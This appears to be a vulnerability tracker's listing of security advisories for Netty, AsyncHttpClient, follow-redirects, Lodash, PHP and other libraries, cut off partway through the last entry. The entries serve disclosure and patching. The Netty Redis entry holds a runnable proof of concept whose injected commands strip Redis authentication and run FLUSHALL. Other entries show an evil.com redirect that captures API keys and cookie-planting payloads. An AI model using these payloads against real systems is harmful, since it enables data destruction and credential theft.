Search

Vulnerabilities 451–500 of 785, affecting the active versions

Vulnerabilities matching the search
Score ID Status Published Affected versions Description Notes
6.9CVSS 4.0 GHSA-jqfv-jrvq-95jm
CVE-2024-28168
Resolved 2024-10-09 5.4 ×14 Improper Restriction of XML External Entity Reference ('XXE') vulnerability in Apache XML Graphics FOP. This issue affects Apache XML Graphics FOP: 2.9. Users are recommended to upgrade to version 2.10, which fixes the issue.
6.9CVSS 4.0 GHSA-q4f6-jm68-57ww
CVE-2026-59899
Resolved 2026-07-22 5.7 ×35.6 ×95.5 ×205.4 ×14 ### Impact `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
6.9CVSS 4.0 GHSA-r4q5-vmmm-2653
Resolved 2026-04-14 5.6 ×95.5 ×205.4 ×14 ## Summary When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target. Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem. ## Affected Code `index.js`, lines 469-476: ```javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers); } ``` The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched. ## Attack Scenario 1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }` 2. Server returns `302 Location: https://evil.com/steal` 3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com` 4. Attacker captures the API key ## Impact Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js. ## Suggested Fix Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect. ## Disclosure Source code review, manually verified. Found 2026-03-20.
6.9CVSS 4.0 GHSA-xxjr-mmjv-4gpg
CVE-2025-13465
Resolved 2026-01-21 5.7 ×75.6 ×95.5 ×205.4 ×14 ### Impact Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. ### Patches This issue is patched on 4.17.23.
6.8CVSS 3.1 CVE-2026-107226
NVD MITRE OpenCVE
GHSA-p2jm-6hj6-9rjg
In triage 2026-10-12 5.7 ×75.6 ×95.5 ×205.4 ×14 The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 3.0.14, the default ThreadSafeCookieStore does not retain whether a Set-Cookie response used a secure transport. It accepts Secure cookies received over plaintext and permits insecure cookies to overlay or delete existing Secure cookies with matching scope. An attacker controlling a plaintext same-site response can consequently plant, replace, or remove cookie state later sent to an HTTPS origin, enabling session fixation, CSRF-token replacement, or loss of security-relevant state. This issue is fixed in version 3.0.14.
6.8CVSS 3.1 CVE-2026-107228
NVD MITRE OpenCVE
GHSA-2jwh-9rmr-j4xf
In triage 2026-10-07 5.7 ×75.6 ×95.5 ×205.4 ×14 The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.1.0 until 3.0.14, the enabled-by-default cookie store replaces a Cookie header explicitly supplied through setHeader or addHeader whenever the store contributes any cookie for the origin. In a shared client, stored cookies originating from one user can replace a different user's request cookie, causing the request to execute under the wrong session. This bypasses the earlier CVE-2024-53990 remediation, which covered cookies supplied through addCookie but not a directly supplied header. This issue is fixed in version 3.0.14.
6.8CVSS 3.1 CVE-2026-40490
NVD MITRE OpenCVE
GHSA-cmxv-58fp-fm3g
Resolved 2026-04-18 5.7 ×35.6 ×95.5 ×205.4 ×14 The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. When redirect following is enabled (followRedirect(true)), versions of AsyncHttpClient prior to 3.0.9 and 2.14.5 forward Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. The fix in versions 3.0.9 and 2.14.5 automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. For users unable to upgrade, set `(stripAuthorizationOnRedirect(true))` in the client config and avoid using Realm-based authentication with redirect following enabled. Note that `(stripAuthorizationOnRedirect(true))` alone is insufficient on versions prior to 3.0.9 and 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (`followRedirect(false)`) and handle redirects manually with origin validation.
6.8CVSS 3.1 CVE-2026-45673
NVD MITRE OpenCVE
GHSA-xmv7-r254-6q78
Resolved 2026-06-12 5.7 ×35.6 ×95.5 ×205.4 ×14 Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). Versions 4.1.135.Final and 4.2.15.Final patch the issue.
6.8CVSS 3.1 GHSA-2jwh-9rmr-j4xf
CVE-2026-107228
In triage 2026-10-08 5.7 ×75.6 ×95.5 ×205.4 ×14 ### Impact With the cookie store enabled, which is the default, a `Cookie` header that the caller sets on a request with `setHeader` or `addHeader` is thrown away whenever the store holds any cookie for the request's origin: the request's cookie list is written into that header afterwards and replaces it. CVE-2024-53990 fixed the same problem for cookies added with `addCookie`, but that fix works on the cookie list, and a header set directly never reaches it. This is not limited to a cookie of the same name. A store cookie of any name erases the caller's header, so a request meant to carry the caller's session cookie goes out with only the store's cookies, and where the store has a cookie of the caller's name, the store's value is sent instead. It matters most where one client acts for several users. An application that puts each user's session on the request itself, and shares one client and its default cookie store, sends one user's request with a session cookie the store took from a response to another user. The request runs as that other user, so a user of such an application can have their request served under someone else's session, or someone else's under theirs. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.1.0 up to and including 2.16.1 ### Patches Fixed in 3.0.14. The store's cookies are added to a caller's `Cookie` header instead of replacing it, and where both name the same cookie the caller's is kept. The caller's text is kept as written, and several `Cookie` headers are folded into one, as RFC 6265 Section 5.4 requires. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Where requests carry per-user cookies, use a separate client per user, or disable the cookie store with `setCookieStore(null)`. ### References Incomplete fix of CVE-2024-53990 (GHSA-mfj5-cf8g-g2fv). Reported by @1diot9. ### Attribution AI-assisted tools were used to support discovery and analysis.
6.8CVSS 3.1 GHSA-cmxv-58fp-fm3g
CVE-2026-40490
Resolved 2026-04-14 5.7 ×35.6 ×95.5 ×205.4 ×14 ### Impact When redirect following is enabled (followRedirect(true)), AsyncHttpClient forwards Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. ### Patches Fixed in version 3.0.9 or 2.14.5. Users should upgrade immediately. The fix automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. ### Workarounds For users unable to upgrade, set (stripAuthorizationOnRedirect(true)) in the client config and avoid using Realm-based authentication with redirect following enabled. Note that (stripAuthorizationOnRedirect(true)) alone is insufficient on versions prior to 3.0.9 or 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (followRedirect(false)) and handle redirects manually with origin validation. ### References - Fix commit: https://github.com/AsyncHttpClient/async-http-client/commit/6b2fbb7f8
6.8CVSS 3.1 GHSA-p2jm-6hj6-9rjg
CVE-2026-107226
In triage 2026-10-08 5.7 ×75.6 ×95.5 ×205.4 ×14 ### Impact The cookie store ignores the scheme a `Set-Cookie` arrived on. draft-ietf-httpbis-rfc6265bis-22 (approved to obsolete RFC 6265, in the RFC Editor queue) Section 5.7 requires a user agent to ignore a cookie with the `Secure` attribute unless it arrived over a secure connection (step 13), and to ignore a non-Secure cookie from an insecure connection when it would overlay a Secure cookie the store already holds (step 16). Neither rule is implemented. The only `Secure` handling is on retrieval, where a Secure cookie is not sent over plaintext. So anyone who can answer a plaintext request to a site can set, replace or delete the site's `Secure` cookies, and the next HTTPS request carries the attacker's value back inside TLS: ``` http://example.com -> Set-Cookie: SID=attacker-value; Secure; Path=/ https://example.com -> Cookie: SID=attacker-value ``` This does not need an attacker on the network path. A plaintext host under the same site reaches the HTTPS one by setting a domain cookie: ``` http://insecure.example.com -> Set-Cookie: SID=attacker-value; Secure; Domain=example.com; Path=/ https://bank.example.com -> Cookie: SID=attacker-value ``` A plaintext `Set-Cookie` of the same name, domain and path overwrites a Secure cookie, and one with `Max-Age=0` deletes it. Depending on what the application does with the cookie, this is session fixation into the HTTPS session, an overwritten CSRF token, or the removal of a cookie the site relies on. Unlike GHSA-qjr7-w8pj-pmv9, which can only add a cookie, this replaces or deletes one, hence Integrity: High; the harm lands on the HTTPS site, hence Scope: Changed. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.1.0, when the cookie store was introduced, up to and including 2.16.1 ### Patches Fixed in 3.0.14 on the 3.x line. A cookie with the `Secure` attribute is ignored unless the request was secure, and a non-Secure cookie from a request that did not use TLS is ignored when it would overlay a Secure cookie of the same name whose path its own path falls under. A plaintext response can therefore no longer plant, overwrite or delete a `Secure` cookie. When several cookies of one name match a request, the client sends only the first, so the order in which the store returns them decides which one is used. That order is now: on a secure request, cookies received in a secure context (HTTPS, WSS or plaintext loopback) first; then the request host's own cookies before cookies set for a parent domain; then, within one host, longer paths first. A plaintext attacker cannot outrank a cookie the site set over HTTPS by ordering or padding its own cookies, or by setting one before the site sets its own. Plaintext requests to `localhost`, or to an address literal that is a loopback address, count as secure, so a development server that sets `Secure` cookies over `http://localhost` gets them back. This is limited to the cookies such a server set itself: a `Secure` cookie that arrived over HTTPS is never sent over plaintext, loopback included, and a plaintext loopback port cannot overlay it. Numeric spellings that are not address literals, such as `127.0.0.256`, and names under `localhost` are not treated as loopback, because the client resolves them as names. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Do not share one `CookieStore` between plaintext and HTTPS origins that are not mutually trusted, including hosts under the same site. Disabling the cookie store also avoids it. ### Details `ThreadSafeCookieStore.add(Uri, Cookie)` reduces the request to its host and path before storing, so the scheme never reaches the code that decides whether to keep a cookie. `get(Uri)` does read it, but only to leave `Secure` cookies out of plaintext requests. A narrower form survives the two storage rules on their own. The step 16 path test is one-way by design, so a plaintext `SID` for `Path=/` is legitimately stored beside a Secure `SID` for `Path=/account`, and both match a request under `/account`. The store returned matching cookies in hash order, and the client keeps only the first cookie of each name when it builds the request (`RequestBuilderBase.addCookieIfUnset`), so an attacker could decide which one was sent, for example by padding one plaintext response with filler cookies. The ordering described above closes it. The fix does not stop an HTTPS host under the same site from setting a domain cookie for a name the request host never sets itself. Only a `__Host-` cookie name prefix prevents that, and the client does not enforce cookie name prefixes. ### Attribution AI-assisted tools were used to support discovery and analysis.
6.8CVSS 3.1 GHSA-rgrr-p7gp-5xj7
CVE-2026-42586
Resolved 2026-05-07 5.6 ×25.5 ×185.4 ×12 # Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-redis) | | **Component** | `io.netty.handler.codec.redis.RedisEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) | | **Impact** | Redis Command Injection / Response Poisoning | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | None | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-redis` module are affected: - `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation) - `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation) - `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation) - `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation) - `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation) ## 3. Vulnerability Description The Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\r\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. ### Root Cause In `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) + RedisConstants.EOL_LENGTH); type.writeTo(buf); ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n out.add(buf); } ``` The message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null: ```java // AbstractStringRedisMessage.java:30-32 AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); // NO CRLF validation } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\r` and `\n` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\r`, `\n`, and SP | The Redis codec has **no equivalent validation** in either the encoder or the message constructors. ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-redis` module to communicate with a Redis server 2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content 3. The application does **not** perform its own CRLF sanitization before constructing these message objects **Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters. **Affected use cases include**: - Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity - Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format ## 5. Attack Scenarios ### Scenario 1: Redis Command Injection via Inline Commands When Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands: ```java // Application code that builds Redis commands from user input String userKey = request.getParameter("key"); // Attacker controls this InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey); channel.writeAndFlush(msg); ``` **Attack input**: `key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"` **Result**: Three commands sent to Redis: 1. `GET foo` 2. `CONFIG SET requirepass ""` (removes authentication!) 3. `FLUSHALL` (deletes all data!) ### Scenario 2: Redis Response Poisoning When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses: ```java // Proxy forwarding a simple string response SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse); downstreamChannel.writeAndFlush(response); ``` **Malicious upstream response**: `"OK\r\n$6\r\nhacked"` **Client sees**: 1. Simple String: `+OK` (expected response) 2. Bulk String: `$6\r\nhacked` (injected fake data!) ### Scenario 3: Error Message Injection ```java ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail); ``` **Attack input**: `errorDetail = "unknown\r\n+FAKE_SUCCESS"` **Client sees**: 1. Error: `-ERR unknown` 2. Simple String: `+FAKE_SUCCESS` (injected fake success!) ## 6. Proof of Concept ### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; import io.netty.buffer.UnpooledByteBufAllocator; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.redis.*; import java.nio.charset.StandardCharsets; import java.util.List; import java.util.ArrayList; /** * PoC: Redis Encoder CRLF Injection Vulnerability * * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage, * and ErrorRedisMessage do not validate content for CRLF characters, * allowing Redis command injection via the RESP protocol. */ public class RedisEncoderCRLFInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n"); testInlineCommandInjection(); testSimpleStringInjection(); testErrorMessageInjection(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: Inline Command Injection * An attacker-controlled string injected into InlineCommandRedisMessage * results in multiple Redis commands being sent. */ static void testInlineCommandInjection() { System.out.println("[TEST 1] Inline Command CRLF Injection"); System.out.println("----------------------------------------"); // Malicious content: inject FLUSHALL after a benign PING String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); // This should be rejected but is accepted InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: InlineCommandRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // Count how many CRLF-delimited commands are in the output String[] commands = encoded.split("\r\n"); System.out.println("Number of commands parsed by Redis: " + commands.length); for (int i = 0; i < commands.length; i++) { if (!commands[i].isEmpty()) { System.out.println(" Command " + (i + 1) + ": " + commands[i]); } } boolean vulnerable = commands.length > 1; System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO")); System.out.println(); } /** * Test 2: SimpleString Response Injection * When Netty acts as a Redis proxy/middleware, a malicious SimpleString * can inject fake responses to the downstream client. */ static void testSimpleStringInjection() { System.out.println("[TEST 2] SimpleString Response CRLF Injection"); System.out.println("----------------------------------------------"); // Malicious content: inject a fake bulk string response after OK String maliciousContent = "OK\r\n$6\r\nhacked"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: SimpleStringRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); // The RESP protocol uses the first byte to determine type: // '+' = Simple String, '$' = Bulk String // A client parsing this would see: // 1. "+OK\r\n" -> Simple String "OK" // 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!) boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO")); System.out.println(); } /** * Test 3: Error Message Injection * Similar to SimpleString but with error messages. */ static void testErrorMessageInjection() { System.out.println("[TEST 3] Error Message CRLF Injection"); System.out.println("--------------------------------------"); String maliciousContent = "ERR unknown\r\n+INJECTED_OK"; EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder()); ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent); channel.writeOutbound(msg); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input: ErrorRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\""); boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO")); System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java java -cp "$JARS:." RedisEncoderCRLFInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Redis Encoder CRLF Injection PoC === [TEST 1] Inline Command CRLF Injection ---------------------------------------- Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL") Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n" Number of commands parsed by Redis: 3 Command 1: PING Command 2: CONFIG SET requirepass "" Command 3: FLUSHALL VULNERABLE: YES - Multiple commands injected! [TEST 2] SimpleString Response CRLF Injection ---------------------------------------------- Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked") Encoded: "+OK\r\n$6\r\nhacked\r\n" VULNERABLE: YES - Response poisoning possible! [TEST 3] Error Message CRLF Injection -------------------------------------- Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK") Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n" VULNERABLE: YES - Error + fake OK injected! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data | | **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration | | **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS | | **Authentication Bypass** | `CONFIG SET requirepass ""` removes authentication | | **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction | ## 8. Remediation Recommendations ### Option 1: Validate in Message Constructors (Recommended) Add CRLF validation to `AbstractStringRedisMessage`: ```java AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); validateContent(content); } private static void validateContent(String content) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "Redis message content contains illegal CRLF character at index " + i); } } } ``` ### Option 2: Validate in Encoder (Defense-in-Depth) Add validation in `RedisEncoder.writeString()`: ```java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new RedisCodecException( "Redis message content contains CRLF at index " + i); } } // ... existing encoding logic } ``` ### Option 3: Both (Best Practice) Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor - This provides defense-in-depth against custom `SmtpRequest` implementations ## 9. Resources - [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
6.8CVSS 3.1 GHSA-xmv7-r254-6q78
CVE-2026-45673
Resolved 2026-06-08 5.7 ×35.6 ×95.5 ×205.4 ×14 ### Summary Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). ### Details Two factors contribute to this vulnerability in io.netty.resolver.dns: - Predictable Query IDs: `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom: ```java Random random = ThreadLocalRandom.current(); int insertionPosition = random.nextInt(count + 1); ``` Because ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered. - Default Static Source Port: `DnsNameResolverBuilder` defaults to a `channelStrategy` of `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries. Combined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing. ### Impact DNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.
6.7CVSS 4.0 GHSA-4265-ccf5-phj5
CVE-2024-26308
False positive 2024-02-19 5.5 ×205.4 ×14 Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. Users are recommended to upgrade to version 1.26, which fixes the issue.
6.5CVSS 3.0 CVE-2015-9253
NVD MITRE OpenCVE
Resolved 2018-02-19 5.5 ×205.4 ×14 An issue was discovered in PHP 7.3.x before 7.3.0alpha3, 7.2.x before 7.2.8, and before 7.1.20. The php-fpm master process restarts a child process in an endless loop when using program execution functions (e.g., passthru, exec, shell_exec, or system) with a non-blocking STDIN stream, causing this master process to consume 100% of the CPU, and consume disk space with a large volume of error logs, as demonstrated by an attack by a customer of a shared-hosting facility.
6.5CVSS 3.1 CVE-2022-31629
NVD MITRE OpenCVE
Resolved 2022-09-28 5.5 ×205.4 ×14 In PHP versions before 7.4.31, 8.0.24 and 8.1.11, the vulnerability enables network and same-site attackers to set a standard insecure cookie in the victim's browser which is treated as a `__Host-` or `__Secure-` cookie by PHP applications.
6.5CVSS 3.1 CVE-2024-52980
NVD MITRE OpenCVE
In triage 2025-04-08 5.7 ×75.6 ×95.5 ×205.4 ×14 A flaw was discovered in Elasticsearch, where a large recursion using the innerForbidCircularReferences function of the PatternBank class could cause the Elasticsearch node to crash. A successful attack requires a malicious user to have read_pipeline Elasticsearch cluster privilege assigned to them.
6.5CVSS 3.1 CVE-2025-24010
NVD MITRE OpenCVE
GHSA-vg6x-rcgg-rjx6
False positive 2025-01-20 5.6 ×95.5 ×205.4 ×14 Vite is a frontend tooling framework for javascript. Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections. This vulnerability is fixed in 6.0.9, 5.4.12, and 4.5.6.
6.5CVSS 3.1 CVE-2025-30360
NVD MITRE OpenCVE
GHSA-9jgg-88mc-972h
False positive 2025-06-03 5.6 ×95.5 ×205.4 ×14 webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
6.5CVSS 3.1 CVE-2025-67735
NVD MITRE OpenCVE
GHSA-84h7-rjj3-6jx4
Resolved 2025-12-16 5.5 ×205.4 ×14 Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.
6.5CVSS 3.1 CVE-2025-68384
NVD MITRE OpenCVE
Not affected 2025-12-18 5.7 ×75.6 ×95.5 ×205.4 ×14 Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) causing a persistent denial of service (OOM crash) via submission of oversized user settings data.
6.5CVSS 3.1 CVE-2026-118661
NVD MITRE OpenCVE
GHSA-5fpq-26gf-qwcr
